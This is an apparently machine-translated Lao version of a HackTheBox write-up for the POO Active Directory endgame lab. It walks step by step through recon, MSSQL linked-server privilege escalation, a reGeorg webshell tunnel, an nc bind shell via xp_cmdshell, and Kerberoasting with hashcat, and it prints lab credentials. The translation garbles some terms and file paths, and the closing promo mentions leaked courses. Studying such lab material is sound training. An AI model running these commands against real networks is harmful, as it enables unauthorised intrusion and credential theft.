HackTheBoxendgame. Passage ຂອງຫ້ອງທົດລອງປະຕິບັດການກະທໍາຜິດເປັນມືອາຊີບ. Pentest Active Directory

ໃນບົດຄວາມນີ້ພວກເຮົາຈະວິເຄາະ passage ຂອງບໍ່ພຽງແຕ່ເຄື່ອງຈັກ, ແຕ່ເປັນຫ້ອງທົດລອງ mini ທັງຫມົດຈາກສະຖານທີ່ HackTheBox.

ດັ່ງທີ່ໄດ້ກ່າວໄວ້ໃນຄໍາອະທິບາຍ, POO ຖືກອອກແບບມາເພື່ອທົດສອບທັກສະໃນທຸກຂັ້ນຕອນຂອງການໂຈມຕີໃນສະພາບແວດລ້ອມ Active Directory ຂະຫນາດນ້ອຍ. ເປົ້າຫມາຍແມ່ນເພື່ອປະນີປະນອມເປັນເຈົ້າພາບທີ່ສາມາດເຂົ້າເຖິງໄດ້, ຂະຫຍາຍສິດທິພິເສດ, ແລະສຸດທ້າຍປະນີປະນອມໂດເມນທັງຫມົດໃນຂະນະທີ່ເກັບກໍາ 5 ທຸງ.

ການເຊື່ອມຕໍ່ກັບຫ້ອງທົດລອງແມ່ນຜ່ານ VPN. ມັນແນະນໍາໃຫ້ບໍ່ເຊື່ອມຕໍ່ຈາກຄອມພິວເຕີບ່ອນເຮັດວຽກຫຼືຈາກເຈົ້າພາບບ່ອນທີ່ມີຂໍ້ມູນທີ່ສໍາຄັນສໍາລັບທ່ານ, ນັບຕັ້ງແຕ່ທ່ານສິ້ນສຸດລົງໃນເຄືອຂ່າຍສ່ວນຕົວກັບຜູ້ທີ່ຮູ້ບາງສິ່ງບາງຢ່າງໃນດ້ານຄວາມປອດໄພຂອງຂໍ້ມູນ :)

ຂໍ້ມູນອົງການຈັດຕັ້ງ
ດັ່ງນັ້ນ, ທ່ານສາມາດຊອກຫາບົດຄວາມໃຫມ່, ຊອບແວແລະຂໍ້ມູນອື່ນໆ, ຂ້າພະເຈົ້າໄດ້ສ້າງ ຊ່ອງທາງ Telegram и ກຸ່ມ​ເພື່ອ​ປຶກ​ສາ​ຫາ​ລື​ບັນ​ຫາ​ໃດ​ຫນຶ່ງ​ ໃນເຂດພື້ນທີ່ຂອງ IIKB. ນອກຈາກນັ້ນ, ຄໍາຮ້ອງຂໍສ່ວນບຸກຄົນ, ຄໍາຖາມ, ຄໍາແນະນໍາແລະຄໍາແນະນໍາຂອງທ່ານ ຂ້າ​ພະ​ເຈົ້າ​ຈະ​ເບິ່ງ​ເປັນ​ສ່ວນ​ບຸກ​ຄົນ​ແລະ​ຕອບ​ສະ​ຫນອງ​ກັບ​ທຸກ​ຄົນ​..

ຂໍ້ມູນທັງຫມົດແມ່ນນໍາສະເຫນີສໍາລັບຈຸດປະສົງການສຶກສາເທົ່ານັ້ນ. ຜູ້ຂຽນເອກະສານສະບັບນີ້ບໍ່ຍອມຮັບຄວາມຮັບຜິດຊອບຕໍ່ຄວາມເສຍຫາຍທີ່ເກີດຈາກຜູ້ໃດກໍ່ຕາມທີ່ເປັນຜົນມາຈາກການນໍາໃຊ້ຄວາມຮູ້ແລະເຕັກນິກທີ່ໄດ້ຮັບຈາກການສຶກສາເອກະສານນີ້.

Intro

ເກມສຸດທ້າຍນີ້ປະກອບດ້ວຍສອງເຄື່ອງຈັກ, ແລະມີ 5 ທຸງ.

ລາຍລະອຽດ ແລະທີ່ຢູ່ຂອງເຈົ້າພາບທີ່ມີຢູ່ແມ່ນໃຫ້.

ໃຫ້ເລີ່ມຕົ້ນ!

ທຸງ Recon

ເຄື່ອງນີ້ມີທີ່ຢູ່ IP ຂອງ 10.13.38.11, ທີ່ຂ້ອຍເພີ່ມໃສ່ /etc/hosts.
10.13.38.11 poo.htb

ກ່ອນອື່ນ ໝົດ, ພວກເຮົາສະແກນພອດເປີດ. ນັບຕັ້ງແຕ່ການສະແກນພອດທັງຫມົດດ້ວຍ nmap ໃຊ້ເວລາດົນ, ທໍາອິດຂ້ອຍຈະເຮັດສິ່ງນີ້ໂດຍໃຊ້ masscan. ພວກເຮົາສະແກນທຸກພອດ TCP ແລະ UDP ຈາກການໂຕ້ຕອບ tun0 ດ້ວຍຄວາມໄວ 500 ແພັກເກັດຕໍ່ວິນາທີ.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

ໃນປັດຈຸບັນ, ເພື່ອໃຫ້ໄດ້ຮັບຂໍ້ມູນລາຍລະອຽດເພີ່ມເຕີມກ່ຽວກັບການບໍລິການທີ່ດໍາເນີນການຢູ່ໃນພອດ, ໃຫ້ດໍາເນີນການສະແກນດ້ວຍທາງເລືອກ -A.

nmap -A poo.htb -p80,1433

ດັ່ງນັ້ນ, ພວກເຮົາມີບໍລິການ IIS ແລະ MSSQL. ໃນກໍລະນີນີ້, ພວກເຮົາຈະຊອກຫາຊື່ DNS ທີ່ແທ້ຈິງຂອງໂດເມນແລະຄອມພິວເຕີ. ໃນເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌, ພວກເຮົາໄດ້ຮັບການຕ້ອນຮັບໂດຍຫນ້າທໍາອິດຂອງ IIS.

ໃຫ້ໄປໂດຍຜ່ານໄດເລກະທໍລີ. ຂ້ອຍໃຊ້ gobuster ສໍາລັບການນີ້. ໃນພາລາມິເຕີທີ່ພວກເຮົາຊີ້ບອກຈໍານວນຂອງກະທູ້ 128 (-t), URL (-u), ວັດຈະນານຸກົມ (-w) ແລະສ່ວນຂະຫຍາຍທີ່ພວກເຮົາສົນໃຈ (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

ນີ້ເຮັດໃຫ້ພວກເຮົາມີການກວດສອບ HTTP ສໍາລັບໄດເລກະທໍລີ /admin, ເຊັ່ນດຽວກັນກັບບໍລິການ desktop ທີ່ສາມາດເຂົ້າເຖິງໄຟລ໌ .DS_Store. .DS_Store ແມ່ນໄຟລ໌ທີ່ເກັບຮັກສາການຕັ້ງຄ່າແບບກຳນົດເອງສຳລັບໂຟນເດີ ເຊັ່ນ: ລາຍຊື່ໄຟລ໌, ສະຖານທີ່ໄອຄອນ ແລະຮູບພື້ນຫຼັງທີ່ເລືອກ. ໄຟລ໌ດັ່ງກ່າວອາດຈະສິ້ນສຸດຢູ່ໃນໄດເລກະທໍລີຂອງເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌ຂອງຜູ້ພັດທະນາເວັບ. ດ້ວຍວິທີນີ້, ພວກເຮົາໄດ້ຮັບຂໍ້ມູນກ່ຽວກັບເນື້ອໃນຂອງໄດເລກະທໍລີ. ເພື່ອເຮັດສິ່ງນີ້, ທ່ານສາມາດນໍາໃຊ້ ຕົວກວາດເວັບ DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

ພວກເຮົາໄດ້ຮັບເນື້ອໃນຂອງໄດເລກະທໍລີ. ສິ່ງທີ່ຫນ້າສົນໃຈທີ່ສຸດຢູ່ທີ່ນີ້ແມ່ນໄດເລກະທໍລີ / dev, ຈາກທີ່ພວກເຮົາສາມາດເບິ່ງແຫຼ່ງແລະໄຟລ໌ db ໃນສອງສາຂາ. ແຕ່ພວກເຮົາສາມາດນໍາໃຊ້ 6 ຕົວອັກສອນທໍາອິດຂອງຊື່ໄຟລ໌ແລະໄດເລກະທໍລີຖ້າບໍລິການມີຄວາມສ່ຽງຕໍ່ IIS ShortName. ທ່ານສາມາດກວດສອບຊ່ອງໂຫວ່ນີ້ໂດຍໃຊ້ ເຄື່ອງສະແກນຊື່ຫຍໍ້ IIS.

ແລະພວກເຮົາຊອກຫາໄຟລ໌ຂໍ້ຄວາມຫນຶ່ງທີ່ເລີ່ມຕົ້ນດ້ວຍ "poo_co". ບໍ່ຮູ້ວ່າຈະເຮັດແນວໃດຕໍ່ໄປ, ຂ້າພະເຈົ້າພຽງແຕ່ເລືອກຄໍາທັງຫມົດທີ່ເລີ່ມຕົ້ນດ້ວຍ "co" ຈາກວັດຈະນານຸກົມ.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

ແລະເຮັດຊ້ຳກັບ wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

ແລະພວກເຮົາຊອກຫາຄໍາທີ່ຖືກຕ້ອງ! ພວກເຮົາເບິ່ງໄຟລ໌ນີ້, ບັນທຶກຂໍ້ມູນປະຈໍາຕົວ (ການຕັດສິນໂດຍພາລາມິເຕີ DBNAME, ພວກເຂົາມາຈາກ MSSQL).

ພວກເຮົາຍອມຈໍານົນທຸງແລະພວກເຮົາກ້າວຫນ້າ 20%.

ທຸງ

ພວກເຮົາເຊື່ອມຕໍ່ກັບ MSSQL, ຂ້ອຍໃຊ້ DBeaver.

ພວກເຮົາບໍ່ພົບສິ່ງທີ່ຫນ້າສົນໃຈໃນຖານຂໍ້ມູນນີ້, ໃຫ້ພວກເຮົາສ້າງ SQL Editor ແລະກວດເບິ່ງວ່າຜູ້ໃຊ້ມີຫຍັງແດ່.

SELECT name FROM master..syslogins;

ພວກເຮົາມີຜູ້ໃຊ້ສອງຄົນ. ໃຫ້ກວດເບິ່ງສິດທິພິເສດຂອງພວກເຮົາ.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

ດັ່ງນັ້ນ, ບໍ່ມີສິດທິພິເສດ. ໃຫ້ເບິ່ງເຄື່ອງແມ່ຂ່າຍທີ່ເຊື່ອມຕໍ່, ຂ້າພະເຈົ້າໄດ້ຂຽນກ່ຽວກັບເຕັກນິກນີ້ຢ່າງລະອຽດ ທີ່ນີ້.

SELECT * FROM master..sysservers;

ນີ້ແມ່ນວິທີທີ່ພວກເຮົາຊອກຫາ SQL Server ອື່ນ. ໃຫ້ທົດສອບການປະຕິບັດຄໍາສັ່ງໃນເຄື່ອງແມ່ຂ່າຍນີ້ໂດຍໃຊ້ openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

ແລະພວກເຮົາຍັງສາມາດສ້າງຕົ້ນໄມ້ສອບຖາມໄດ້.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

ຈຸດແມ່ນວ່າເມື່ອພວກເຮົາເຮັດການຮ້ອງຂໍກັບເຄື່ອງແມ່ຂ່າຍທີ່ເຊື່ອມຕໍ່, ການຮ້ອງຂໍຈະຖືກປະຕິບັດໃນສະພາບການຂອງຜູ້ໃຊ້ອື່ນ! ໃຫ້ເບິ່ງໃນສະພາບການຂອງຜູ້ໃຊ້ທີ່ພວກເຮົາກໍາລັງເຮັດວຽກຢູ່ໃນເຄື່ອງແມ່ຂ່າຍທີ່ເຊື່ອມຕໍ່.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

ຕອນນີ້ໃຫ້ເບິ່ງໃນສະພາບການໃດທີ່ຄໍາຮ້ອງຂໍຖືກເຮັດຈາກເຄື່ອງແມ່ຂ່າຍທີ່ເຊື່ອມຕໍ່ກັບພວກເຮົາ!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

ດັ່ງນັ້ນມັນແມ່ນສະພາບການ DBO ທີ່ຄວນຈະມີສິດທິພິເສດທັງຫມົດ. ໃຫ້ກວດເບິ່ງສິດທິພິເສດໃນກໍລະນີຂອງການຮ້ອງຂໍຈາກເຄື່ອງແມ່ຂ່າຍທີ່ເຊື່ອມຕໍ່.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

ດັ່ງທີ່ເຈົ້າສາມາດເຫັນໄດ້, ພວກເຮົາມີສິດທິພິເສດທັງຫມົດ! ໃຫ້ສ້າງ admin ຂອງພວກເຮົາເອງແບບນີ້. ແຕ່ພວກເຂົາບໍ່ອະນຸຍາດໃຫ້ມັນຜ່ານ openquery, ໃຫ້ເຮັດມັນຜ່ານ EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

ແລະໃນປັດຈຸບັນພວກເຮົາເຊື່ອມຕໍ່ກັບຂໍ້ມູນປະຈໍາຕົວຂອງຜູ້ໃຊ້ໃຫມ່, ພວກເຮົາສັງເກດເຫັນຖານຂໍ້ມູນທຸງໃຫມ່.

ພວກເຮົາມອບທຸງນີ້ແລະກ້າວຕໍ່ໄປ.

ທຸງ BackTrack

ໃຫ້ເອົາແກະໂດຍໃຊ້ MSSQL, ຂ້ອຍໃຊ້ mssqlclient ຈາກຊຸດ impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

ພວກເຮົາຈໍາເປັນຕ້ອງໄດ້ຮັບລະຫັດຜ່ານ, ແລະສິ່ງທໍາອິດທີ່ພວກເຮົາໄດ້ພົບແລ້ວແມ່ນເວັບໄຊທ໌. ດັ່ງນັ້ນ, ພວກເຮົາຕ້ອງການ config ເຊີຟເວີເວັບ (ມັນເປັນໄປບໍ່ໄດ້ທີ່ຈະອອກຈາກແກະທີ່ສະດວກສະບາຍ, ເບິ່ງຄືວ່າໄຟວໍກໍາລັງແລ່ນຢູ່).

ແຕ່ການເຂົ້າເຖິງຖືກປະຕິເສດ. ເຖິງແມ່ນວ່າພວກເຮົາສາມາດອ່ານໄຟລ໌ຈາກ MSSQL, ພວກເຮົາພຽງແຕ່ຕ້ອງການຮູ້ວ່າພາສາການຂຽນໂປຼແກຼມໃດຖືກຕັ້ງຄ່າ. ແລະໃນໄດເລກະທໍລີ MSSQL ພວກເຮົາພົບວ່າມີ Python.

ຫຼັງຈາກນັ້ນ, ບໍ່ມີບັນຫາໃນການອ່ານໄຟລ໌ web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

ດ້ວຍຂໍ້ມູນປະຈໍາຕົວທີ່ພົບເຫັນ, ໄປຫາ /admin ແລະເອົາທຸງ.

ທຸງຊາດ

ໃນຄວາມເປັນຈິງ, ມີຄວາມບໍ່ສະດວກບາງຢ່າງຈາກການໃຊ້ໄຟວໍ, ແຕ່ເບິ່ງຜ່ານການຕັ້ງຄ່າເຄືອຂ່າຍ, ພວກເຮົາສັງເກດເຫັນວ່າ IPv6 ຍັງຖືກນໍາໃຊ້!

ໃຫ້ເພີ່ມທີ່ຢູ່ນີ້ໃສ່ /etc/hosts.
dead:babe::1001 poo6.htb
ໃຫ້ສະແກນເຈົ້າພາບອີກຄັ້ງ, ແຕ່ໃຊ້ IPv6 protocol.

ແລະການບໍລິການ WinRM ແມ່ນມີຢູ່ໃນໄລຍະ IPv6. ໃຫ້ເຊື່ອມຕໍ່ກັບຂໍ້ມູນປະຈໍາຕົວທີ່ພົບເຫັນ.

ມີທຸງຢູ່ໃນ desktop, ພວກເຮົາເອົາມັນໄປ.

P00ned ທຸງ

ຫຼັງຈາກດໍາເນີນການ reconnaissance ກ່ຽວກັບເຈົ້າພາບການນໍາໃຊ້ ໝາກຖົ່ວ ພວກເຮົາບໍ່ພົບຫຍັງພິເສດ. ຫຼັງຈາກນັ້ນ, ມັນໄດ້ຖືກຕັດສິນໃຈທີ່ຈະຊອກຫາຂໍ້ມູນປະຈໍາຕົວອີກເທື່ອຫນຶ່ງ (ຂ້າພະເຈົ້າຍັງໄດ້ຂຽນກ່ຽວກັບຫົວຂໍ້ນີ້ ບົດຄວາມ). ແຕ່ຂ້ອຍບໍ່ສາມາດໄດ້ຮັບ SPNs ທັງຫມົດຈາກລະບົບຜ່ານ WinRM.

setspn.exe -T intranet.poo -Q */*

ໃຫ້ດໍາເນີນການຄໍາສັ່ງຜ່ານ MSSQL.

ການນໍາໃຊ້ວິທີການນີ້, ພວກເຮົາໄດ້ຮັບ SPN ຂອງຜູ້ໃຊ້ p00_hr ແລະ p00_adm, ຊຶ່ງຫມາຍຄວາມວ່າພວກເຂົາມີຄວາມສ່ຽງຕໍ່ການໂຈມຕີເຊັ່ນ Kerberoasting. ໃນສັ້ນ, ພວກເຮົາສາມາດໄດ້ຮັບ hashes ລະຫັດຜ່ານຂອງເຂົາເຈົ້າ.

ທໍາອິດທ່ານຈໍາເປັນຕ້ອງໄດ້ຮັບແກະທີ່ຫມັ້ນຄົງເປັນຜູ້ໃຊ້ MSSQL. ແຕ່ເນື່ອງຈາກພວກເຮົາຖືກຈໍາກັດໃນການເຂົ້າເຖິງ, ພວກເຮົາມີການເຊື່ອມຕໍ່ກັບເຈົ້າພາບພຽງແຕ່ຜ່ານພອດ 80 ແລະ 1433. ແຕ່ມັນເປັນໄປໄດ້ tunnel traffic ຜ່ານ port 80! ສໍາລັບການນີ້ພວກເຮົາຈະໃຊ້ ຄໍາຮ້ອງສະຫມັກຕໍ່ໄປ. ໃຫ້ພວກເຮົາອັບໂຫລດໄຟລ໌ tunnel.aspx ໄປຫາໄດເລກະທໍລີຫນ້າທໍາອິດຂອງເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌ - C:inetpubwwwroot .

ແຕ່ເມື່ອພວກເຮົາພະຍາຍາມເຂົ້າຫາມັນ, ພວກເຮົາໄດ້ຮັບຂໍ້ຜິດພາດ 404. ນີ້ຫມາຍຄວາມວ່າໄຟລ໌ *.aspx ບໍ່ໄດ້ຖືກປະຕິບັດ. ເພື່ອໃຫ້ໄຟລ໌ທີ່ມີສ່ວນຂະຫຍາຍເຫຼົ່ານີ້ຖືກປະຕິບັດ, ຕິດຕັ້ງ ASP.NET 4.5 ດັ່ງຕໍ່ໄປນີ້.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

ແລະໃນປັດຈຸບັນ, ເມື່ອພວກເຮົາເຂົ້າເຖິງ tunnel.aspx, ພວກເຮົາໄດ້ຮັບການຕອບສະຫນອງວ່າທຸກສິ່ງທຸກຢ່າງແມ່ນພ້ອມທີ່ຈະໄປ.

ໃຫ້ເປີດສ່ວນລູກຄ້າຂອງແອັບພລິເຄຊັນ, ເຊິ່ງຈະສົ່ງການຈະລາຈອນ. ພວກເຮົາຈະສົ່ງຕໍ່ການຈະລາຈອນທັງຫມົດຈາກພອດ 5432 ໄປຫາເຄື່ອງແມ່ຂ່າຍ.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

ແລະພວກເຮົາໃຊ້ proxychains ເພື່ອສົ່ງການຈະລາຈອນຂອງແອັບພລິເຄຊັນໃດໆໂດຍຜ່ານຕົວແທນຂອງພວກເຮົາ. ໃຫ້ເພີ່ມພຣັອກຊີນີ້ໃສ່ໄຟລ໌ການຕັ້ງຄ່າ /etc/proxychains.conf.

ຕອນນີ້ໃຫ້ເຮົາອັບໂຫລດໂປຣແກຣມໃສ່ເຊີບເວີ netcat, ທີ່ພວກເຮົາຈະເຮັດເປືອກຫຸ້ມນອກຜູກມັດທີ່ຫມັ້ນຄົງແລະ script ຮຽກຮ້ອງ-Kerberoast, ທີ່ພວກເຮົາຈະປະຕິບັດການໂຈມຕີ Kerberoasting.

ຕອນນີ້ພວກເຮົາເປີດຕົວຜູ້ຟັງຜ່ານ MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

ແລະພວກເຮົາເຊື່ອມຕໍ່ຜ່ານຕົວແທນຂອງພວກເຮົາ.

proxychains rlwrap nc poo.htb 4321

ແລະຂໍໃຫ້ໄດ້ຮັບ hashes ໄດ້.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

ຕໍ່ໄປ, ທ່ານຈໍາເປັນຕ້ອງໄດ້ iterate ໃນໄລຍະ hashes ເຫຼົ່ານີ້. ເນື່ອງຈາກວັດຈະນານຸກົມ rockyou ບໍ່ມີລະຫັດຜ່ານເຫຼົ່ານີ້, ຂ້ອຍໄດ້ໃຊ້ວັດຈະນານຸກົມລະຫັດຜ່ານທັງໝົດທີ່ລະບຸໄວ້ໃນ Seclists. ສໍາລັບການຄົ້ນຫາພວກເຮົາໃຊ້ hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

ແລະພວກເຮົາຊອກຫາລະຫັດຜ່ານທັງສອງ, ທໍາອິດໃນວັດຈະນານຸກົມ dutch_passwordlist.txt, ແລະທີສອງໃນ Keyboard-Combinations.txt.

ແລະດັ່ງນັ້ນພວກເຮົາມີຜູ້ໃຊ້ສາມຄົນ, ໃຫ້ໄປຫາຕົວຄວບຄຸມໂດເມນ. ໃຫ້ຊອກຫາທີ່ຢູ່ຂອງລາວກ່ອນ.

ຍິ່ງໃຫຍ່, ພວກເຮົາໄດ້ພົບເຫັນທີ່ຢູ່ IP ຂອງຕົວຄວບຄຸມໂດເມນ. ໃຫ້ຊອກຫາຜູ້ໃຊ້ທັງຫມົດຂອງໂດເມນ, ເຊັ່ນດຽວກັນກັບພວກເຂົາແມ່ນຜູ້ບໍລິຫານ. ເພື່ອດາວໂຫລດສະຄຣິບເພື່ອໃຫ້ໄດ້ຂໍ້ມູນ PowerView.ps1. ຫຼັງຈາກນັ້ນ, ພວກເຮົາຈະເຊື່ອມຕໍ່ໂດຍໃຊ້ evil-winrm, ລະບຸໄດເລກະທໍລີທີ່ມີ script ໃນພາລາມິເຕີ -s. ແລະຫຼັງຈາກນັ້ນພວກເຮົາຈະພຽງແຕ່ໂຫລດສະຄິບ PowerView.

ໃນປັດຈຸບັນພວກເຮົາມີການເຂົ້າເຖິງຫນ້າທີ່ຂອງມັນທັງຫມົດ. ຜູ້ໃຊ້ p00_adm ເບິ່ງຄືວ່າເປັນຜູ້ໃຊ້ທີ່ມີສິດທິພິເສດ, ດັ່ງນັ້ນພວກເຮົາຈະເຮັດວຽກຢູ່ໃນສະພາບການຂອງລາວ. ມາສ້າງວັດຖຸ PSCredential ສໍາລັບຜູ້ໃຊ້ນີ້.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

ໃນປັດຈຸບັນຄໍາສັ່ງ Powershell ທັງຫມົດທີ່ພວກເຮົາກໍານົດ Creds ຈະຖືກປະຕິບັດເປັນ p00_adm. ໃຫ້ສະແດງລາຍຊື່ຜູ້ໃຊ້ແລະຄຸນລັກສະນະ AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

ແລະດັ່ງນັ້ນ, ຜູ້ໃຊ້ຂອງພວກເຮົາໄດ້ຮັບສິດທິພິເສດແທ້ໆ. ລອງເບິ່ງວ່າລາວຢູ່ໃນກຸ່ມໃດ.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

ພວກເຮົາສຸດທ້າຍຢືນຢັນວ່າຜູ້ໃຊ້ເປັນຜູ້ເບິ່ງແຍງໂດເມນ. ນີ້ເຮັດໃຫ້ລາວມີສິດທີ່ຈະເຂົ້າສູ່ລະບົບຕົວຄວບຄຸມໂດເມນຈາກໄລຍະໄກ. ລອງເຂົ້າສູ່ລະບົບຜ່ານ WinRM ໂດຍໃຊ້ອຸໂມງຂອງພວກເຮົາ. ຂ້າພະເຈົ້າໄດ້ສັບສົນໂດຍຄວາມຜິດພາດທີ່ຜະລິດໂດຍ reGeorg ໃນເວລາທີ່ໃຊ້ evil-winrm.

ແລ້ວໃຫ້ໃຊ້ອັນອື່ນ, ງ່າຍກວ່າ, ສະຄຣິບ ເພື່ອເຊື່ອມຕໍ່ກັບ WinRM. ໃຫ້ເປີດແລະປ່ຽນຕົວກໍານົດການເຊື່ອມຕໍ່.

ພວກເຮົາພະຍາຍາມເຊື່ອມຕໍ່, ແລະພວກເຮົາຢູ່ໃນລະບົບ.

ແຕ່ບໍ່ມີທຸງ. ຫຼັງຈາກນັ້ນ, ເບິ່ງຜູ້ໃຊ້ແລະກວດເບິ່ງ desktop.

ພວກເຮົາຊອກຫາທຸງຢູ່ mr3ks ແລະຫ້ອງທົດລອງແມ່ນສໍາເລັດ 100%.

ຫມົດ​ເທົ່າ​ນີ້. ໃນຖານະເປັນຄໍາຕິຊົມ, ກະລຸນາສະແດງຄວາມຄິດເຫັນວ່າທ່ານໄດ້ຮຽນຮູ້ຫຍັງໃຫມ່ຈາກບົດຄວາມນີ້ແລະວ່າມັນເປັນປະໂຫຍດສໍາລັບທ່ານ.

ທ່ານສາມາດເຂົ້າຮ່ວມກັບພວກເຮົາໄດ້ທີ່ ໂທລະເລກ. ຢູ່ທີ່ນັ້ນທ່ານສາມາດຊອກຫາອຸປະກອນທີ່ຫນ້າສົນໃຈ, ຫຼັກສູດທີ່ຮົ່ວໄຫຼ, ເຊັ່ນດຽວກັນກັບຊອບແວ. ຂໍໃຫ້ລວບລວມຊຸມຊົນທີ່ຈະມີຜູ້ທີ່ເຂົ້າໃຈຫຼາຍຂົງເຂດຂອງ IT, ຫຼັງຈາກນັ້ນພວກເຮົາສະເຫມີສາມາດຊ່ວຍເຫຼືອເຊິ່ງກັນແລະກັນກ່ຽວກັບບັນຫາ IT ແລະຄວາມປອດໄພຂໍ້ມູນຂ່າວສານ.

ແຫຼ່ງຂໍ້ມູນ: www.habr.com